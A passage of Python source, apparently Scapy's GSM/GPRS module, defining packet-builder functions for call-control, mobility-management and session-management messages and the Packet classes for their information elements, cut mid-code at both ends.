Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """RELEASE Section 9.3.18.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2d) # 00101101 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Cause_presence1 is 1: d = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / d if Facility_presence is 1: e = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / e if UserUser_presence is 1: f = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / f if SsVersionIndicator_presence is 1: g = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / g return packet # Network to MS def recall(): """RECALL Section 9.3.18a""" a = TpPd(pd=0x3) b = MessageType(mesType=0xb) # 00001011 c = RecallType() d = Facility() packet = a / b / c / d return packet # Network to MS def releaseCompleteNetToMs(Cause_presence=0, Facility_presence=0, UserUser_presence=0): """RELEASE COMPLETE Section 9.3.19.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2a) # 00101010 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e return packet def releaseCompleteMsToNet(Cause_presence=0, Facility_presence=0, UserUser_presence=0, SsVersionIndicator_presence=0): """RELEASE COMPLETE Section 9.3.19.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2a) # 00101010 packet = a / b if Cause_presence is 1: c = CauseHdr(ieiC=0x08, eightBitC=0x0) packet = packet / c if Facility_presence is 1: d = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / d if UserUser_presence is 1: e = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / e if SsVersionIndicator_presence is 1: f = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / f return packet def retrieve(): """RETRIEVE Section 9.3.20""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1c) # 00011100 packet = a / b return packet # Network to MS def retrieveAcknowledge(): """RETRIEVE ACKNOWLEDGE Section 9.3.21""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1d) # 00011101 packet = a / b return packet # Network to MS def retrieveReject(): """RETRIEVE REJECT Section 9.3.22""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1e) # 00011110 c = Cause() packet = a / b / c return packet # Network to MS def setupMobileTerminated(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, ProgressIndicator_presence=0, Signal_presence=0, CallingPartyBcdNumber_presence=0, CallingPartySubaddress_presence=0, CalledPartyBcdNumber_presence=0, CalledPartySubaddress_presence=0, # RecallType_presence=0, RedirectingPartyBcdNumber_presence=0, RedirectingPartySubaddress_presence=0, RepeatIndicator_presence1=0, LowLayerCompatibility_presence=0, LowLayerCompatibility_presence1=0, RepeatIndicator_presence2=0, HighLayerCompatibility_presence=0, HighLayerCompatibility_presence1=0, UserUser_presence=0, PriorityLevel_presence=0, AlertingPattern_presence=0): """SETUP Section 9.3.23.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if ProgressIndicator_presence is 1: g = ProgressIndicatorHdr(ieiPI=0x1E, eightBitPI=0x0) packet = packet / g if Signal_presence is 1: h = SignalHdr(ieiS=0x34, eightBitS=0x0) packet = packet / h if CallingPartyBcdNumber_presence is 1: i = CallingPartyBcdNumberHdr(ieiCPBN=0x5C, eightBitCPBN=0x0) packet = packet / i if CallingPartySubaddress_presence is 1: j = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0) packet = packet / j if CalledPartyBcdNumber_presence is 1: k = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0) packet = packet / k if CalledPartySubaddress_presence is 1: l = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0) packet = packet / l if RedirectingPartyBcdNumber_presence is 1: n = RedirectingPartyBcdNumberHdr(ieiRPBN=0x74, eightBitRPBN=0x0) packet = packet / n if RedirectingPartySubaddress_presence is 1: m = RedirectingPartySubaddress_presence(ieiRPBN=0x75, eightBitRPBN=0x0) packet = packet / m if RepeatIndicator_presence1 is 1: o = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0) packet = packet / o if LowLayerCompatibility_presence is 1: p = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / p if LowLayerCompatibility_presence1 is 1: q = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / q if RepeatIndicator_presence2 is 1: r = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / r if HighLayerCompatibility_presence is 1: s = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / s if HighLayerCompatibility_presence1 is 1: t = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / t if UserUser_presence is 1: u = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / u if PriorityLevel_presence is 1: v = PriorityLevelHdr(ieiPL=0x8, eightBitPL=0x0) packet = packet / v if AlertingPattern_presence is 1: w = AlertingPatternHdr(ieiAP=0x19, eightBitAP=0x0) packet = packet / w return packet def setupMobileOriginated(RepeatIndicator_presence=0, BearerCapability_presence=0, BearerCapability_presence1=0, Facility_presence=0, CallingPartySubaddress_presence=0, CalledPartyBcdNumber_presence=0, CalledPartySubaddress_presence=0, RepeatIndicator_presence1=0, LowLayerCompatibility_presence=0, LowLayerCompatibility_presence1=0, RepeatIndicator_presence2=0, HighLayerCompatibility_presence=0, HighLayerCompatibility_presence1=0, UserUser_presence=0, SsVersionIndicator_presence=0, ClirSuppression_presence=0, ClirInvocation_presence=0, CallControlCapabilities_presence=0, Facility_presence1=0, Facility_presence2=0): """SETUP Section 9.3.23.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 packet = a / b if RepeatIndicator_presence is 1: c = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / c if BearerCapability_presence is 1: d = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / d if BearerCapability_presence1 is 1: e = BearerCapabilityHdr(ieiBC=0x04, eightBitBC=0x0) packet = packet / e if Facility_presence is 1: f = FacilityHdr(ieiF=0x1C, eightBitF=0x0) packet = packet / f if CallingPartySubaddress_presence is 1: g = CallingPartySubaddressHdr(ieiCPS=0x5D, eightBitCPS=0x0) packet = packet / g if CalledPartyBcdNumber_presence is 1: h = CalledPartyBcdNumberHdr(ieiCPBN=0x5E, eightBitCPBN=0x0) packet = packet / h if CalledPartySubaddress_presence is 1: i = CalledPartySubaddressHdr(ieiCPS=0x6D, eightBitCPS=0x0) packet = packet / i if RepeatIndicator_presence1 is 1: j = RepeatIndicatorHdr(ieiRI=0xD0, eightBitRI=0x0) packet = packet / j if LowLayerCompatibility_presence is 1: k = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / k if LowLayerCompatibility_presence1 is 1: l = LowLayerCompatibilityHdr(ieiLLC=0x7C, eightBitLLC=0x0) packet = packet / l if RepeatIndicator_presence2 is 1: m = RepeatIndicatorHdr(ieiRI=0xD, eightBitRI=0x0) packet = packet / m if HighLayerCompatibility_presence is 1: n = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / n if HighLayerCompatibility_presence1 is 1: o = HighLayerCompatibilityHdr(ieiHLC=0x7D, eightBitHLC=0x0) packet = packet / o if UserUser_presence is 1: p = UserUserHdr(ieiUU=0x7E, eightBitUU=0x0) packet = packet / p if SsVersionIndicator_presence is 1: q = SsVersionIndicatorHdr(ieiSVI=0x7F, eightBitSVI=0x0) packet = packet / q if ClirSuppression_presence is 1: r = ClirSuppressionHdr(ieiCS=0xA1, eightBitCS=0x0) packet = packet / r if ClirInvocation_presence is 1: s = ClirInvocationHdr(ieiCI=0xA2, eightBitCI=0x0) packet = packet / s if CallControlCapabilities_presence is 1: t = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = packet / t if Facility_presence1 is 1: u = FacilityHdr(ieiF=0x1D, eightBitF=0x0) packet = packet / u if Facility_presence2 is 1: v = FacilityHdr(ieiF=0x1B, eightBitF=0x0) packet = packet / v return packet def startCc(CallControlCapabilities_presence=0): """START CC Section 9.3.23a""" a = TpPd(pd=0x3) b = MessageType(mesType=0x9) # 00001001 packet = a / b if CallControlCapabilities_presence is 1: c = CallControlCapabilitiesHdr(ieiCCC=0x15, eightBitCCC=0x0) packet = packet / c return packet def startDtmf(): """START DTMF Section 9.3.24""" a = TpPd(pd=0x3) b = MessageType(mesType=0x35) # 00110101 c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0) packet = a / b / c return packet # Network to MS def startDtmfAcknowledge(): """START DTMF ACKNOWLEDGE Section 9.3.25""" a = TpPd(pd=0x3) b = MessageType(mesType=0x32) # 00110010 c = KeypadFacilityHdr(ieiKF=0x2C, eightBitKF=0x0) packet = a / b / c return packet # Network to MS def startDtmfReject(): """ START DTMF REJECT Section 9.3.26""" a = TpPd(pd=0x3) b = MessageType(mesType=0x37) # 00110111 c = Cause() packet = a / b / c return packet def status(AuxiliaryStates_presence=0): """STATUS Section 9.3.27""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3d) # 00111101 c = Cause() d = CallState() packet = a / b / c / d if AuxiliaryStates_presence is 1: e = AuxiliaryStatesHdr(ieiAS=0x24, eightBitAS=0x0) packet = packet / e return packet def statusEnquiry(): """STATUS ENQUIRY Section 9.3.28""" a = TpPd(pd=0x3) b = MessageType(mesType=0x34) # 00110100 packet = a / b return packet def stopDtmf(): """STOP DTMF Section 9.3.29""" a = TpPd(pd=0x3) b = MessageType(mesType=0x31) # 00110001 packet = a / b return packet # Network to MS def stopDtmfAcknowledge(): """STOP DTMF ACKNOWLEDGE Section 9.3.30""" a = TpPd(pd=0x3) b = MessageType(mesType=0x32) # 00110010 packet = a / b return packet def userInformation(MoreData_presence=0): """USER INFORMATION Section 9.3.31""" a = TpPd(pd=0x3) b = MessageType(mesType=0x20) # 000100000 c = UserUser() packet = a / b / c if MoreData_presence is 1: d = MoreDataHdr(ieiMD=0xA0, eightBitMD=0x0) packet = packet / d return packet # # 9.4 GPRS Mobility Management Messages # def attachRequest(PTmsiSignature_presence=0, GprsTimer_presence=0, TmsiStatus_presence=0): """ATTACH REQUEST Section 9.4.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 0000001 c = MsNetworkCapability() d = AttachTypeAndCiphKeySeqNr() f = DrxParameter() g = MobileId() h = RoutingAreaIdentification() i = MsRadioAccessCapability() packet = a / b / c / d / f / g / h / i if PTmsiSignature_presence is 1: j = PTmsiSignature(ieiPTS=0x19) packet = packet / j if GprsTimer_presence is 1: k = GprsTimer(ieiGT=0x17) packet = packet / k if TmsiStatus_presence is 1: l = TmsiStatus(ieiTS=0x9) packet = packet / l return packet def attachAccept(PTmsiSignature_presence=0, GprsTimer_presence=0, MobileId_presence=0, MobileId_presence1=0, GmmCause_presence=0): """ATTACH ACCEPT Section 9.4.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x2) # 00000010 c = AttachResult() d = ForceToStandby() e = GprsTimer() f = RadioPriorityAndSpareHalfOctets() h = RoutingAreaIdentification() packet = a / b / c / d / e / f / h if PTmsiSignature_presence is 1: i = PTmsiSignature(ieiPTS=0x19) packet = packet / i if GprsTimer_presence is 1: j = GprsTimer(ieiGT=0x17) packet = packet / j if MobileId_presence is 1: k = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0) packet = packet / k if MobileId_presence1 is 1: l = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / l if GmmCause_presence is 1: m = GmmCause(ieiGC=0x25) packet = packet / m return packet def attachComplete(): """ATTACH COMPLETE Section 9.4.3""" a = TpPd(pd=0x3) b = MessageType(mesType=0x3) # 00000011 packet = a / b return packet def attachReject(): """ATTACH REJECT Section 9.4.4""" a = TpPd(pd=0x3) b = MessageType(mesType=0x1) # 00000001 c = GmmCause() packet = a / b / c return packet def detachRequest(GmmCause_presence=0): """DETACH REQUEST Section 9.4.5""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 c = DetachTypeAndForceToStandby() packet = a / b / c if GmmCause_presence is 1: e = GmmCause(ieiGC=0x25) packet = packet / e return packet def detachRequestMsOriginating(): """DETACH REQUEST Section 9.4.5.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x5) # 00000101 c = DetachTypeAndSpareHalfOctets() packet = a / b / c return packet def detachAcceptMsTerminated(): """DETACH ACCEPT Section 9.4.6.1""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 packet = a / b return packet def detachAcceptMsOriginating(): """DETACH ACCEPT Section 9.4.6.2""" a = TpPd(pd=0x3) b = MessageType(mesType=0x6) # 00000110 c = ForceToStandbyAndSpareHalfOctets() packet = a / b / c return packet def ptmsiReallocationCommand(PTmsiSignature_presence=0): """P-TMSI REALLOCATION COMMAND Section 9.4.7""" a = TpPd(pd=0x3) b = MessageType(mesType=0x10) # 00010000 c = MobileId() d = RoutingAreaIdentification() e = ForceToStandbyAndSpareHalfOctets() packet = a / b / c / d / e if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g return packet def ptmsiReallocationComplete(): """P-TMSI REALLOCATION COMPLETE Section 9.4.8""" a = TpPd(pd=0x3) b = MessageType(mesType=0x11) # 00010001 packet = a / b return packet def authenticationAndCipheringRequest( AuthenticationParameterRAND_presence=0, CiphKeySeqNr_presence=0): """AUTHENTICATION AND CIPHERING REQUEST Section 9.4.9""" a = TpPd(pd=0x3) b = MessageType(mesType=0x12) # 00010010 d = CipheringAlgorithmAndImeisvRequest() e = ForceToStandbyAndAcReferenceNumber() packet = a / b / d / e if AuthenticationParameterRAND_presence is 1: g = AuthenticationParameterRAND(ieiAPR=0x21) packet = packet / g if CiphKeySeqNr_presence is 1: h = CiphKeySeqNrHdr(ieiCKSN=0x08, eightBitCKSN=0x0) packet = packet / h return packet def authenticationAndCipheringResponse( AuthenticationParameterSRES_presence=0, MobileId_presence=0): """AUTHENTICATION AND CIPHERING RESPONSE Section 9.4.10""" a = TpPd(pd=0x3) b = MessageType(mesType=0x13) # 00010011 c = AcReferenceNumberAndSpareHalfOctets() packet = a / b / c if AuthenticationParameterSRES_presence is 1: e = AuthenticationParameterSRES(ieiAPS=0x22) packet = packet / e if MobileId_presence is 1: f = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / f return packet def authenticationAndCipheringReject(): """AUTHENTICATION AND CIPHERING REJECT Section 9.4.11""" a = TpPd(pd=0x3) b = MessageType(mesType=0x14) # 00010100 packet = a / b return packet def identityRequest(): """IDENTITY REQUEST Section 9.4.12""" a = TpPd(pd=0x3) b = MessageType(mesType=0x15) # 00010101 c = IdentityType2AndforceToStandby() packet = a / b / c return packet def identityResponse(): """IDENTITY RESPONSE Section 9.4.13""" a = TpPd(pd=0x3) b = MessageType(mesType=0x16) # 00010110 c = MobileId() packet = a / b / c return packet def routingAreaUpdateRequest(PTmsiSignature_presence=0, GprsTimer_presence=0, DrxParameter_presence=0, TmsiStatus_presence=0): """ROUTING AREA UPDATE REQUEST Section 9.4.14""" a = TpPd(pd=0x3) b = MessageType(mesType=0x8) # 00001000 c = UpdateTypeAndCiphKeySeqNr() e = RoutingAreaIdentification() f = MsNetworkCapability() packet = a / b / c / e / f if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g if GprsTimer_presence is 1: h = GprsTimer(ieiGT=0x17) packet = packet / h if DrxParameter_presence is 1: i = DrxParameter(ieiDP=0x27) packet = packet / i if TmsiStatus_presence is 1: j = TmsiStatus(ieiTS=0x9) packet = packet / j return packet def routingAreaUpdateAccept(PTmsiSignature_presence=0, MobileId_presence=0, MobileId_presence1=0, ReceiveNpduNumbersList_presence=0, GprsTimer_presence=0, GmmCause_presence=0): """ROUTING AREA UPDATE ACCEPT Section 9.4.15""" a = TpPd(pd=0x3) b = MessageType(mesType=0x9) # 00001001 c = ForceToStandbyAndUpdateResult() e = GprsTimer() f = RoutingAreaIdentification() packet = a / b / c / e / f if PTmsiSignature_presence is 1: g = PTmsiSignature(ieiPTS=0x19) packet = packet / g if MobileId_presence is 1: h = MobileIdHdr(ieiMI=0x18, eightBitMI=0x0) packet = packet / h if MobileId_presence1 is 1: i = MobileIdHdr(ieiMI=0x23, eightBitMI=0x0) packet = packet / i if ReceiveNpduNumbersList_presence is 1: j = ReceiveNpduNumbersList(ieiRNNL=0x26) packet = packet / j if GprsTimer_presence is 1: k = GprsTimer(ieiGT=0x17) packet = packet / k if GmmCause_presence is 1: l = GmmCause(ieiGC=0x25) packet = packet / l return packet def routingAreaUpdateComplete(ReceiveNpduNumbersList_presence=0): """ROUTING AREA UPDATE COMPLETE Section 9.4.16""" a = TpPd(pd=0x3) b = MessageType(mesType=0xa) # 00001010 packet = a / b if ReceiveNpduNumbersList_presence is 1: c = ReceiveNpduNumbersList(ieiRNNL=0x26) packet = packet / c return packet def routingAreaUpdateReject(): """ROUTING AREA UPDATE REJECT Section 9.4.17""" a = TpPd(pd=0x3) b = MessageType(mesType=0xb) # 00001011 c = GmmCause() d = ForceToStandbyAndSpareHalfOctets() packet = a / b / c / d return packet def gmmStatus(): """GMM STATUS Section 9.4.18""" a = TpPd(pd=0x3) b = MessageType(mesType=0x20) # 00100000 c = GmmCause() packet = a / b / c return packet def gmmInformation(NetworkName_presence=0, NetworkName_presence1=0, TimeZone_presence=0, TimeZoneAndTime_presence=0, LsaIdentifier_presence=0): """GMM INFORMATION Section 9.4.19""" a = TpPd(pd=0x3) b = MessageType(mesType=0x21) # 00100001 packet = a / b if NetworkName_presence is 1: c = NetworkNameHdr(ieiNN=0x43, eightBitNN=0x0) packet = packet / c if NetworkName_presence1 is 1: d = NetworkNameHdr(ieiNN=0x45, eightBitNN=0x0) packet = packet / d if TimeZone_presence is 1: e = TimeZoneHdr(ieiTZ=0x46, eightBitTZ=0x0) packet = packet / e if TimeZoneAndTime_presence is 1: f = TimeZoneAndTimeHdr(ieiTZAT=0x47, eightBitTZAT=0x0) packet = packet / f if LsaIdentifier_presence is 1: g = LsaIdentifierHdr(ieiLI=0x48, eightBitLI=0x0) packet = packet / g return packet # # 9.5 GPRS Session Management Messages # def activatePdpContextRequest(AccessPointName_presence=0, ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT REQUEST Section 9.5.1""" a = TpPd(pd=0x8) b = MessageType(mesType=0x41) # 01000001 c = NetworkServiceAccessPointIdentifier() d = LlcServiceAccessPointIdentifier() e = QualityOfService() f = PacketDataProtocolAddress() packet = a / b / c / d / e / f if AccessPointName_presence is 1: g = AccessPointName(ieiAPN=0x28) packet = packet / g if ProtocolConfigurationOptions_presence is 1: h = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / h return packet def activatePdpContextAccept(PacketDataProtocolAddress_presence=0, ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT ACCEPT Section 9.5.2""" a = TpPd(pd=0x8) b = MessageType(mesType=0x42) # 01000010 c = LlcServiceAccessPointIdentifier() d = QualityOfService() e = RadioPriorityAndSpareHalfOctets() packet = a / b / c / d / e if PacketDataProtocolAddress_presence is 1: f = PacketDataProtocolAddress(ieiPDPA=0x2B) packet = packet / f if ProtocolConfigurationOptions_presence is 1: g = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / g return packet def activatePdpContextReject(ProtocolConfigurationOptions_presence=0): """ACTIVATE PDP CONTEXT REJECT Section 9.5.3""" a = TpPd(pd=0x8) b = MessageType(mesType=0x43) # 01000011 c = SmCause() packet = a / b / c if ProtocolConfigurationOptions_presence is 1: d = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / d return packet def requestPdpContextActivation(AccessPointName_presence=0): """REQUEST PDP CONTEXT ACTIVATION Section 9.5.4""" a = TpPd(pd=0x8) b = MessageType(mesType=0x44) # 01000100 c = PacketDataProtocolAddress() packet = a / b / c if AccessPointName_presence is 1: d = AccessPointName(ieiAPN=0x28) packet = packet / d return packet def requestPdpContextActivationReject(): """REQUEST PDP CONTEXT ACTIVATION REJECT Section 9.5.5""" a = TpPd(pd=0x8) b = MessageType(mesType=0x45) # 01000101 c = SmCause() packet = a / b / c return packet def modifyPdpContextRequest(): """MODIFY PDP CONTEXT REQUEST Section 9.5.6""" a = TpPd(pd=0x8) b = MessageType(mesType=0x48) # 01001000 c = RadioPriorityAndSpareHalfOctets() d = LlcServiceAccessPointIdentifier() e = QualityOfService() packet = a / b / c / d / e return packet def modifyPdpContextAccept(): """MODIFY PDP CONTEXT ACCEPT Section 9.5.7""" a = TpPd(pd=0x8) b = MessageType(mesType=0x45) # 01000101 packet = a / b return packet def deactivatePdpContextRequest(): """DEACTIVATE PDP CONTEXT REQUEST Section 9.5.8""" a = TpPd(pd=0x8) b = MessageType(mesType=0x46) # 01000110 c = SmCause() packet = a / b / c return packet def deactivatePdpContextAccept(): """DEACTIVATE PDP CONTEXT ACCEPT Section 9.5.9""" a = TpPd(pd=0x8) b = MessageType(mesType=0x47) # 01000111 packet = a / b return packet def activateAaPdpContextRequest(AccessPointName_presence=0, ProtocolConfigurationOptions_presence=0, GprsTimer_presence=0): """ACTIVATE AA PDP CONTEXT REQUEST Section 9.5.10""" a = TpPd(pd=0x8) b = MessageType(mesType=0x50) # 01010000 c = NetworkServiceAccessPointIdentifier() d = LlcServiceAccessPointIdentifier() e = QualityOfService() f = PacketDataProtocolAddress() packet = a / b / c / d / e / f if AccessPointName_presence is 1: g = AccessPointName(ieiAPN=0x28) packet = packet / g if ProtocolConfigurationOptions_presence is 1: h = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / h if GprsTimer_presence is 1: i = GprsTimer(ieiGT=0x29) packet = packet / i return packet def activateAaPdpContextAccept(ProtocolConfigurationOptions_presence=0, GprsTimer_presence=0): """ACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.11""" a = TpPd(pd=0x8) b = MessageType(mesType=0x51) # 01010001 c = LlcServiceAccessPointIdentifier() d = QualityOfService() e = MobileId() f = PacketDataProtocolAddress() g = RadioPriorityAndSpareHalfOctets() packet = a / b / c / d / e / f / g if ProtocolConfigurationOptions_presence is 1: i = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / i if GprsTimer_presence is 1: j = GprsTimer(ieiGT=0x29) packet = packet / j return packet def activateAaPdpContextReject(ProtocolConfigurationOptions_presence=0): """ACTIVATE AA PDP CONTEXT REJECT Section 9.5.12""" a = TpPd(pd=0x8) b = MessageType(mesType=0x52) # 01010010 c = SmCause() packet = a / b / c if ProtocolConfigurationOptions_presence is 1: d = ProtocolConfigurationOptions(ieiPCO=0x27) packet = packet / d return packet def deactivateAaPdpContextRequest(): """DEACTIVATE AA PDP CONTEXT REQUEST Section 9.5.13""" a = TpPd(pd=0x8) b = MessageType(mesType=0x53) # 01010011 c = AaDeactivationCauseAndSpareHalfOctets() packet = a / b / c return packet def deactivateAaPdpContextAccept(): """DEACTIVATE AA PDP CONTEXT ACCEPT Section 9.5.14""" a = TpPd(pd=0x8) b = MessageType(mesType=0x54) # 01010100 packet = a / b return packet def smStatus(): """SM STATUS Section 9.5.15""" a = TpPd(pd=0x8) b = MessageType(mesType=0x55) # 01010101 c = SmCause() packet = a / b / c return packet # ============================================# # Information Elements contents (Section 10) # # =========================================== # #### # This section contains the elements we need to build the messages #### # # Common information elements: # class CellIdentityHdr(Packet): """ Cell identity Section 10.5.1.1 """ name = "Cell Identity" fields_desc = [ BitField("eightBitCI", None, 1), XBitField("ieiCI", None, 7), ByteField("ciValue1", 0x0), ByteField("ciValue2", 0x0) ] class CiphKeySeqNrHdr(Packet): """ Ciphering Key Sequence Number Section 10.5.1.2 """ name = "Cipher Key Sequence Number" fields_desc = [ XBitField("ieiCKSN", None, 4), BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3) ] # Fix 1/2 len problem class CiphKeySeqNrAndSpareHalfOctets(Packet): name = "Cipher Key Sequence Number and Spare Half Octets" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3), BitField("spareHalfOctets", 0x0, 4) ] # Fix 1/2 len problem class CiphKeySeqNrAndMacModeAndChannelCodingRequest(Packet): name = "Cipher Key Sequence Number and Mac Mode And Channel Coding Request" fields_desc = [ BitField("spare", 0x0, 1), BitField("keySeq", 0x0, 3), BitField("macMode", 0x0, 2), BitField("cs", 0x0, 2) ] class LocalAreaIdHdr(Packet): """ Local Area Identification Section 10.5.1.3 """ name = "Location Area Identification" fields_desc = [ BitField("eightBitLAI", None, 1), XBitField("ieiLAI", None, 7), BitField("mccDigit2", 0x0, 4), BitField("mccDigit1", 0x0, 4), BitField("mncDigit3", 0x0, 4), BitField("mccDigit3", 0x0, 4), BitField("mncDigit2", 0x0, 4), BitField("mncDigit1", 0x0, 4), ByteField("lac1", 0x0), ByteField("lac2", 0x0) ] # # The Mobile Identity is a type 4 information element with a minimum # length of 3 octet and 11 octets length maximal. # # len 3 - 11 class MobileIdHdr(Packet): """ Mobile Identity Section 10.5.1.4 """ name = "Mobile Identity" fields_desc = [ BitField("eightBitMI", 0x0, 1), XBitField("ieiMI", 0x0, 7), XByteField("lengthMI", None), BitField("idDigit1", 0x0, 4), BitField("oddEven", 0x0, 1), BitField("typeOfId", 0x0, 3), BitField("idDigit2_1", None, 4), # optional BitField("idDigit2", None, 4), BitField("idDigit3_1", None, 4), BitField("idDigit3", None, 4), BitField("idDigit4_1", None, 4), BitField("idDigit4", None, 4), BitField("idDigit5_1", None, 4), BitField("idDigit5", None, 4), BitField("idDigit6_1", None, 4), BitField("idDigit6", None, 4), BitField("idDigit7_1", None, 4), BitField("idDigit7", None, 4), BitField("idDigit8_1", None, 4), BitField("idDigit8", None, 4), BitField("idDigit9_1", None, 4), BitField("idDigit9", None, 4), ] def post_build(self, p, pay): # this list holds the values of the variables, the # INTERESTING value! a = [getattr(self, fld.name, None) for fld in self.fields_desc] res = adapt(3, 11, a, self.fields_desc) if self.lengthMI is None: p = p[:1] + struct.pack(">B", res[1]) + p[2:] if res[0] != 0: p = p[:-res[0]] print repr(p) return p + pay class MobileStationClassmark1Hdr(Packet): """ Mobile Station Classmark 1 Section 10.5.1.5 """ name = "Mobile Station Classmark 1" fields_desc = [ BitField("eightBitiMSC1", None, 1), XBitField("ieiMSC1", None, 7), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3) ] class MobileStationClassmark2Hdr(Packet): """ Mobile Station Classmark 2 Section 10.5.1.6 """ name = "Mobile Station Classmark 2" fields_desc = [ BitField("eightBitMSC2", None, 1), XBitField("ieiMSC2", None, 7), XByteField("lengthMSC2", 0x3), BitField("spare", 0x0, 1), BitField("revisionLvl", 0x0, 2), BitField("esInd", 0x0, 1), BitField("a51", 0x0, 1), BitField("rfPowerCap", 0x0, 3), BitField("spare1", 0x0, 1), BitField("psCap", 0x0, 1), BitField("ssScreenInd", 0x0, 2), BitField("smCaPabi", 0x0, 1), BitField("vbs", 0x0, 1), BitField("vgcs", 0x0, 1), BitField("fc", 0x0, 1), BitField("cm3", 0x0, 1), BitField("spare2", 0x0, 1), BitField("lcsvaCap", 0x0, 1), BitField("spare3", 0x0, 1), BitField("soLsa", 0x0, 1), BitField("cmsp", 0x0, 1), BitField("a53", 0x0, 1), BitField("a52", 0x0, 1) ] # len max 14 class MobileStationClassmark3(Packet): """ Mobile Station Classmark 3 Section 10.5.1.7 """ name = "Mobile Station Classmark 3" fields_desc = [ # FIXME ByteField("ieiMSC3", 0x0), ByteField("byte2", 0x0), ByteField("byte3", 0x0), ByteField("byte4", 0x0), ByteField("byte5", 0x0), ByteField("byte6", 0x0), ByteField("byte7", 0x0), ByteField("byte8", 0x0), ByteField("byte9", 0x0), ByteField("byte10", 0x0), ByteField("byte11", 0x0), ByteField("byte12", 0x0), ByteField("byte13", 0x0), ByteField("byte14", 0x0) ] class SpareHalfOctets(Packet): """ Spare Half Octet Section 10.5.1.8 """ name = "Spare Half Octet" fields_desc = [ BitField("filler", None, 4), BitField("spareHalfOctets", 0x0, 4) ] class DescriptiveGroupOrBroadcastCallReferenceHdr(Packet): """ Descriptive group or broadcast call reference Section 10.5.1.9 """ name = "Descriptive Group or Broadcast Call Reference" fields_desc = [ BitField("eightBitDGOBCR", None, 1), XBitField("ieiDGOBCR", None, 7), BitField("binCallRef", 0x0, 27), BitField("sf", 0x0, 1), BitField("fa", 0x0, 1), BitField("callPrio", 0x0, 3), BitField("cipherInfo", 0x0, 4), BitField("spare1", 0x0, 1), BitField("spare2", 0x0, 1), BitField("spare3", 0x0, 1), BitField("spare4", 0x0, 1) ] class GroupCipherKeyNumber(Packet): """ Group Cipher Key Number reference Section 